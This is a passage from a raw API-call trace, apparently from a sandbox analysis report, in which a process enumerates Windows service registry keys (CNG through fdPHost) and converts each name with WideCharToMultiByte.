dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x502850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0028.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x502850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0028.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x502850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x5a1418, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0028.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x502850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x5a1460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0028.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x502850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0028.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x502850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x502850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x502850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x502850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x5a1418, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x502850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x5a1460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x502850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x5a1418, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x502850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x5a1460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0028.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x502850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x502850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x5a1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x502850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x5a1418, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x502850, cchName=0x104 | out: lpName="discache") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x502850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x502850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x502850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0028.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x502850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0028.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x502850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0028.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x502850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0028.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x502850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0028.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x502850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0028.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x502850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0028.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x502850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x502850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x502850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x502850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x502850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x502850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x502850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0028.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x502850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0028.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x502850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x5a1460, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x502850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x502850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x502850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x502850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x502850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.261] WideCharToMultiByte (in: 